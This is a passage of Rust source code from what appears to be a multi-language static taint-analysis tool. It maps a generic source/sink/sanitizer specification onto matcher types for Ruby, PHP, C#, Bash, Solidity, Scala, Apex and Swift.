GenericMatcher::Subscript { base, description } => ruby_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
ruby_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => ruby_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
ruby_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => ruby_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
GenericMatcher::TypedName {
type_name,
description,
} => ruby_taint::NodeMatcher::TypedName {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::TypedAssignTarget {
type_name,
description,
} => ruby_taint::NodeMatcher::TypedAssignTarget {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::LiteralString { description, regex } => {
ruby_taint::NodeMatcher::LiteralString {
description: description.clone(),
regex: regex.clone(),
}
}
GenericMatcher::LooseEquality { description } => ruby_taint::NodeMatcher::LooseEquality {
description: description.clone(),
},
GenericMatcher::TaintedCallee { description } => ruby_taint::NodeMatcher::TaintedCallee {
description: description.clone(),
},
GenericMatcher::TaintedSubscriptKey { base, description } => {
ruby_taint::NodeMatcher::TaintedSubscriptKey {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::CallArgSource {
method,
arg_index,
description,
} => ruby_taint::NodeMatcher::CallArgSource {
method: method.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::FirstParamSource { description } => {
ruby_taint::NodeMatcher::FirstParamSource {
description: description.clone(),
}
}
GenericMatcher::DecoratedParamSource {
decorator,
description,
} => ruby_taint::NodeMatcher::DecoratedParamSource {
decorator: decorator.clone(),
description: description.clone(),
},
GenericMatcher::CallArgConcat {
method,
description,
} => ruby_taint::NodeMatcher::CallArgConcat {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
description,
} => ruby_taint::NodeMatcher::ConstructorArgSink {
class_names: class_names.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::PropertyAssignSink {
property_names,
description,
} => ruby_taint::NodeMatcher::PropertyAssignSink {
property_names: property_names.clone(),
description: description.clone(),
},
GenericMatcher::MethodArgSink {
methods,
arg_index,
description,
} => ruby_taint::NodeMatcher::MethodArgSink {
methods: methods.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::ReceiverProvenanceCall {
init_receiver,
init_method,
init_arg,
method,
description,
} => ruby_taint::NodeMatcher::ReceiverProvenanceCall {
init_receiver: init_receiver.clone(),
init_method: init_method.clone(),
init_arg: init_arg.clone(),
method: method.clone(),
description: description.clone(),
},
GenericMatcher::LiteralArgCall {
method,
arg,
description,
} => ruby_taint::NodeMatcher::LiteralArgCall {
method: method.clone(),
arg: arg.clone(),
description: description.clone(),
},
}
}
fn to_php_spec(g: &GenericSpec) -> php_taint::TaintSpec {
php_taint::TaintSpec {
sources: g.sources.iter().map(to_php_matcher).collect(),
sinks: g.sinks.iter().map(to_php_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_php_matcher).collect(),
}
}
fn to_csharp_spec(g: &GenericSpec) -> csharp_taint::TaintSpec {
csharp_taint::TaintSpec {
sources: g.sources.iter().map(to_csharp_matcher).collect(),
sinks: g.sinks.iter().map(to_csharp_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_csharp_matcher).collect(),
}
}
fn to_csharp_matcher(m: &GenericMatcher) -> csharp_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => csharp_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => csharp_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => csharp_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => csharp_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => csharp_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
csharp_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => csharp_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => csharp_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => csharp_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
csharp_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => csharp_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
csharp_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => csharp_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
GenericMatcher::TypedName {
type_name,
description,
} => csharp_taint::NodeMatcher::TypedName {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::TypedAssignTarget {
type_name,
description,
} => csharp_taint::NodeMatcher::TypedAssignTarget {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::LiteralString { description, regex } => {
csharp_taint::NodeMatcher::LiteralString {
description: description.clone(),
regex: regex.clone(),
}
}
GenericMatcher::LooseEquality { description } => csharp_taint::NodeMatcher::LooseEquality {
description: description.clone(),
},
GenericMatcher::TaintedCallee { description } => csharp_taint::NodeMatcher::TaintedCallee {
description: description.clone(),
},
GenericMatcher::TaintedSubscriptKey { base, description } => {
csharp_taint::NodeMatcher::TaintedSubscriptKey {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::CallArgSource {
method,
arg_index,
description,
} => csharp_taint::NodeMatcher::CallArgSource {
method: method.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::FirstParamSource { description } => {
csharp_taint::NodeMatcher::FirstParamSource {
description: description.clone(),
}
}
GenericMatcher::DecoratedParamSource {
decorator,
description,
} => csharp_taint::NodeMatcher::DecoratedParamSource {
decorator: decorator.clone(),
description: description.clone(),
},
GenericMatcher::CallArgConcat {
method,
description,
} => csharp_taint::NodeMatcher::CallArgConcat {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
description,
} => csharp_taint::NodeMatcher::ConstructorArgSink {
class_names: class_names.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::PropertyAssignSink {
property_names,
description,
} => csharp_taint::NodeMatcher::PropertyAssignSink {
property_names: property_names.clone(),
description: description.clone(),
},
GenericMatcher::MethodArgSink {
methods,
arg_index,
description,
} => csharp_taint::NodeMatcher::MethodArgSink {
methods: methods.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::ReceiverProvenanceCall {
init_receiver,
init_method,
init_arg,
method,
description,
} => csharp_taint::NodeMatcher::ReceiverProvenanceCall {
init_receiver: init_receiver.clone(),
init_method: init_method.clone(),
init_arg: init_arg.clone(),
method: method.clone(),
description: description.clone(),
},
GenericMatcher::LiteralArgCall {
method,
arg,
description,
} => csharp_taint::NodeMatcher::LiteralArgCall {
method: method.clone(),
arg: arg.clone(),
description: description.clone(),
},
}
}
fn to_bash_spec(g: &GenericSpec) -> bash_taint::TaintSpec {
bash_taint::TaintSpec {
sources: g.sources.iter().map(to_bash_matcher).collect(),
sinks: g.sinks.iter().map(to_bash_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_bash_matcher).collect(),
}
}
fn to_bash_matcher(m: &GenericMatcher) -> bash_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => bash_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => bash_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => bash_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => bash_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => bash_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
bash_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => bash_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => bash_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => bash_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
bash_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => bash_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
bash_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => bash_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
GenericMatcher::TypedName {
type_name,
description,
} => bash_taint::NodeMatcher::TypedName {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::TypedAssignTarget {
type_name,
description,
} => bash_taint::NodeMatcher::TypedAssignTarget {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::LiteralString { description, regex } => {
bash_taint::NodeMatcher::LiteralString {
description: description.clone(),
regex: regex.clone(),
}
}
GenericMatcher::LooseEquality { description } => bash_taint::NodeMatcher::LooseEquality {
description: description.clone(),
},
GenericMatcher::TaintedCallee { description } => bash_taint::NodeMatcher::TaintedCallee {
description: description.clone(),
},
GenericMatcher::TaintedSubscriptKey { base, description } => {
bash_taint::NodeMatcher::TaintedSubscriptKey {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::CallArgSource {
method,
arg_index,
description,
} => bash_taint::NodeMatcher::CallArgSource {
method: method.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::FirstParamSource { description } => {
bash_taint::NodeMatcher::FirstParamSource {
description: description.clone(),
}
}
GenericMatcher::DecoratedParamSource {
decorator,
description,
} => bash_taint::NodeMatcher::DecoratedParamSource {
decorator: decorator.clone(),
description: description.clone(),
},
GenericMatcher::CallArgConcat {
method,
description,
} => bash_taint::NodeMatcher::CallArgConcat {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
description,
} => bash_taint::NodeMatcher::ConstructorArgSink {
class_names: class_names.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::PropertyAssignSink {
property_names,
description,
} => bash_taint::NodeMatcher::PropertyAssignSink {
property_names: property_names.clone(),
description: description.clone(),
},
GenericMatcher::MethodArgSink {
methods,
arg_index,
description,
} => bash_taint::NodeMatcher::MethodArgSink {
methods: methods.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::ReceiverProvenanceCall {
init_receiver,
init_method,
init_arg,
method,
description,
} => bash_taint::NodeMatcher::ReceiverProvenanceCall {
init_receiver: init_receiver.clone(),
init_method: init_method.clone(),
init_arg: init_arg.clone(),
method: method.clone(),
description: description.clone(),
},
GenericMatcher::LiteralArgCall {
method,
arg,
description,
} => bash_taint::NodeMatcher::LiteralArgCall {
method: method.clone(),
arg: arg.clone(),
description: description.clone(),
},
}
}
fn to_solidity_spec(g: &GenericSpec) -> solidity_taint::TaintSpec {
solidity_taint::TaintSpec {
sources: g.sources.iter().map(to_solidity_matcher).collect(),
sinks: g.sinks.iter().map(to_solidity_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_solidity_matcher).collect(),
}
}
fn to_solidity_matcher(m: &GenericMatcher) -> solidity_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => solidity_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => solidity_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => {
solidity_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
}
}
GenericMatcher::MethodName {
method,
description,
} => solidity_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => {
solidity_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::MethodNameRegex { regex, description } => {
solidity_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => solidity_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => {
solidity_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::Subscript { base, description } => solidity_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
solidity_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => solidity_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
solidity_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => solidity_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
GenericMatcher::TypedName {
type_name,
description,
} => solidity_taint::NodeMatcher::TypedName {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::TypedAssignTarget {
type_name,
description,
} => solidity_taint::NodeMatcher::TypedAssignTarget {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::LiteralString { description, regex } => {
solidity_taint::NodeMatcher::LiteralString {
description: description.clone(),
regex: regex.clone(),
}
}
GenericMatcher::LooseEquality { description } => {
solidity_taint::NodeMatcher::LooseEquality {
description: description.clone(),
}
}
GenericMatcher::TaintedCallee { description } => {
solidity_taint::NodeMatcher::TaintedCallee {
description: description.clone(),
}
}
GenericMatcher::TaintedSubscriptKey { base, description } => {
solidity_taint::NodeMatcher::TaintedSubscriptKey {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::CallArgSource {
method,
arg_index,
description,
} => solidity_taint::NodeMatcher::CallArgSource {
method: method.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::FirstParamSource { description } => {
solidity_taint::NodeMatcher::FirstParamSource {
description: description.clone(),
}
}
GenericMatcher::DecoratedParamSource {
decorator,
description,
} => solidity_taint::NodeMatcher::DecoratedParamSource {
decorator: decorator.clone(),
description: description.clone(),
},
GenericMatcher::CallArgConcat {
method,
description,
} => solidity_taint::NodeMatcher::CallArgConcat {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
description,
} => solidity_taint::NodeMatcher::ConstructorArgSink {
class_names: class_names.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::PropertyAssignSink {
property_names,
description,
} => solidity_taint::NodeMatcher::PropertyAssignSink {
property_names: property_names.clone(),
description: description.clone(),
},
GenericMatcher::MethodArgSink {
methods,
arg_index,
description,
} => solidity_taint::NodeMatcher::MethodArgSink {
methods: methods.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::ReceiverProvenanceCall {
init_receiver,
init_method,
init_arg,
method,
description,
} => solidity_taint::NodeMatcher::ReceiverProvenanceCall {
init_receiver: init_receiver.clone(),
init_method: init_method.clone(),
init_arg: init_arg.clone(),
method: method.clone(),
description: description.clone(),
},
GenericMatcher::LiteralArgCall {
method,
arg,
description,
} => solidity_taint::NodeMatcher::LiteralArgCall {
method: method.clone(),
arg: arg.clone(),
description: description.clone(),
},
}
}
fn to_scala_spec(g: &GenericSpec) -> scala_taint::TaintSpec {
scala_taint::TaintSpec {
sources: g.sources.iter().map(to_scala_matcher).collect(),
sinks: g.sinks.iter().map(to_scala_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_scala_matcher).collect(),
}
}
fn to_scala_matcher(m: &GenericMatcher) -> scala_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => scala_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => scala_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => scala_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => scala_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => scala_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
scala_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => scala_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => scala_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => scala_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
scala_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => scala_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
scala_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => scala_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
GenericMatcher::TypedName {
type_name,
description,
} => scala_taint::NodeMatcher::TypedName {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::TypedAssignTarget {
type_name,
description,
} => scala_taint::NodeMatcher::TypedAssignTarget {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::LiteralString { description, regex } => {
scala_taint::NodeMatcher::LiteralString {
description: description.clone(),
regex: regex.clone(),
}
}
GenericMatcher::LooseEquality { description } => scala_taint::NodeMatcher::LooseEquality {
description: description.clone(),
},
GenericMatcher::TaintedCallee { description } => scala_taint::NodeMatcher::TaintedCallee {
description: description.clone(),
},
GenericMatcher::TaintedSubscriptKey { base, description } => {
scala_taint::NodeMatcher::TaintedSubscriptKey {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::CallArgSource {
method,
arg_index,
description,
} => scala_taint::NodeMatcher::CallArgSource {
method: method.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::FirstParamSource { description } => {
scala_taint::NodeMatcher::FirstParamSource {
description: description.clone(),
}
}
GenericMatcher::DecoratedParamSource {
decorator,
description,
} => scala_taint::NodeMatcher::DecoratedParamSource {
decorator: decorator.clone(),
description: description.clone(),
},
GenericMatcher::CallArgConcat {
method,
description,
} => scala_taint::NodeMatcher::CallArgConcat {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
description,
} => scala_taint::NodeMatcher::ConstructorArgSink {
class_names: class_names.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::PropertyAssignSink {
property_names,
description,
} => scala_taint::NodeMatcher::PropertyAssignSink {
property_names: property_names.clone(),
description: description.clone(),
},
GenericMatcher::MethodArgSink {
methods,
arg_index,
description,
} => scala_taint::NodeMatcher::MethodArgSink {
methods: methods.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::ReceiverProvenanceCall {
init_receiver,
init_method,
init_arg,
method,
description,
} => scala_taint::NodeMatcher::ReceiverProvenanceCall {
init_receiver: init_receiver.clone(),
init_method: init_method.clone(),
init_arg: init_arg.clone(),
method: method.clone(),
description: description.clone(),
},
GenericMatcher::LiteralArgCall {
method,
arg,
description,
} => scala_taint::NodeMatcher::LiteralArgCall {
method: method.clone(),
arg: arg.clone(),
description: description.clone(),
},
}
}
fn to_apex_spec(g: &GenericSpec) -> apex_taint::TaintSpec {
apex_taint::TaintSpec {
sources: g.sources.iter().map(to_apex_matcher).collect(),
sinks: g.sinks.iter().map(to_apex_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_apex_matcher).collect(),
}
}
fn to_apex_matcher(m: &GenericMatcher) -> apex_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => apex_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => apex_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => apex_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => apex_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => apex_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
apex_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => apex_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => apex_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => apex_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
apex_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => apex_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
apex_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => apex_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
GenericMatcher::TypedName {
type_name,
description,
} => apex_taint::NodeMatcher::TypedName {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::TypedAssignTarget {
type_name,
description,
} => apex_taint::NodeMatcher::TypedAssignTarget {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::LiteralString { description, regex } => {
apex_taint::NodeMatcher::LiteralString {
description: description.clone(),
regex: regex.clone(),
}
}
GenericMatcher::LooseEquality { description } => apex_taint::NodeMatcher::LooseEquality {
description: description.clone(),
},
GenericMatcher::TaintedCallee { description } => apex_taint::NodeMatcher::TaintedCallee {
description: description.clone(),
},
GenericMatcher::TaintedSubscriptKey { base, description } => {
apex_taint::NodeMatcher::TaintedSubscriptKey {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::CallArgSource {
method,
arg_index,
description,
} => apex_taint::NodeMatcher::CallArgSource {
method: method.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::FirstParamSource { description } => {
apex_taint::NodeMatcher::FirstParamSource {
description: description.clone(),
}
}
GenericMatcher::DecoratedParamSource {
decorator,
description,
} => apex_taint::NodeMatcher::DecoratedParamSource {
decorator: decorator.clone(),
description: description.clone(),
},
GenericMatcher::CallArgConcat {
method,
description,
} => apex_taint::NodeMatcher::CallArgConcat {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
description,
} => apex_taint::NodeMatcher::ConstructorArgSink {
class_names: class_names.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::PropertyAssignSink {
property_names,
description,
} => apex_taint::NodeMatcher::PropertyAssignSink {
property_names: property_names.clone(),
description: description.clone(),
},
GenericMatcher::MethodArgSink {
methods,
arg_index,
description,
} => apex_taint::NodeMatcher::MethodArgSink {
methods: methods.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::ReceiverProvenanceCall {
init_receiver,
init_method,
init_arg,
method,
description,
} => apex_taint::NodeMatcher::ReceiverProvenanceCall {
init_receiver: init_receiver.clone(),
init_method: init_method.clone(),
init_arg: init_arg.clone(),
method: method.clone(),
description: description.clone(),
},
GenericMatcher::LiteralArgCall {
method,
arg,
description,
} => apex_taint::NodeMatcher::LiteralArgCall {
method: method.clone(),
arg: arg.clone(),
description: description.clone(),
},
}
}
fn to_swift_spec(g: &GenericSpec) -> swift_taint::TaintSpec {
swift_taint::TaintSpec {
sources: g.sources.iter().map(to_swift_matcher).collect(),
sinks: g.sinks.iter().map(to_swift_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_swift_matcher).collect(),
}
}
fn to_swift_matcher(m: &GenericMatcher) -> swift_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => swift_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => swift_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => swift_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => swift_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => swift_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
swift_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => swift_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => swift_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => swift_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
swift_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => swift_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
swift_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => swift_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
GenericMatcher::TypedName {
type_name,
description,
} => swift_taint::NodeMatcher::TypedName {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::TypedAssignTarget {
type_name,
description,
} => swift_taint::NodeMatcher::TypedAssignTarget {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::LiteralString { description, regex } => {
swift_taint::NodeMatcher::LiteralString {
description: description.clone(),
regex: regex.clone(),
}
}
GenericMatcher::LooseEquality { description } => swift_taint::NodeMatcher::LooseEquality {
description: description.clone(),
},
GenericMatcher::TaintedCallee { description } => swift_taint::NodeMatcher::TaintedCallee {
description: description.clone(),
},
GenericMatcher::TaintedSubscriptKey { base, description } => {
swift_taint::NodeMatcher::TaintedSubscriptKey {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::CallArgSource {
method,
arg_index,
description,
} => swift_taint::NodeMatcher::CallArgSource {
method: method.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::FirstParamSource { description } => {
swift_taint::NodeMatcher::FirstParamSource {
description: description.clone(),
}
}
GenericMatcher::DecoratedParamSource {
decorator,
description,
} => swift_taint::NodeMatcher::DecoratedParamSource {
decorator: decorator.clone(),
description: description.clone(),
},
GenericMatcher::CallArgConcat {
method,
description,
} => swift_taint::NodeMatcher::CallArgConcat {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
description,
} => swift_taint::NodeMatcher::ConstructorArgSink {
class_names: class_names.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::PropertyAssignSink {
property_names,
description,
} => swift_taint::NodeMatcher::PropertyAssignSink {
property_names: property_names.clone(),
description: description.clone(),
},
GenericMatcher::MethodArgSink {
methods,
arg_index,
description,
} => swift_taint::NodeMatcher::MethodArgSink {
methods: methods.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::ReceiverProvenanceCall {
init_receiver,
init_method,
init_arg,
method,
description,
} => swift_taint::NodeMatcher::ReceiverProvenanceCall {
init_receiver: init_receiver.clone(),
init_method: init_method.clone(),
init_arg: init_arg.clone(),
method: method.clone(),
description: description.clone(),
},
GenericMatcher::LiteralArgCall {
method,
arg,
description,
} => swift_taint::NodeMatcher::LiteralArgCall {
method: method.clone(),
arg: arg.clone(),
description: description.clone(),
},
}
}
fn to_php_matcher(m: &GenericMatcher) -> php_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => php_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => php_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => php_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
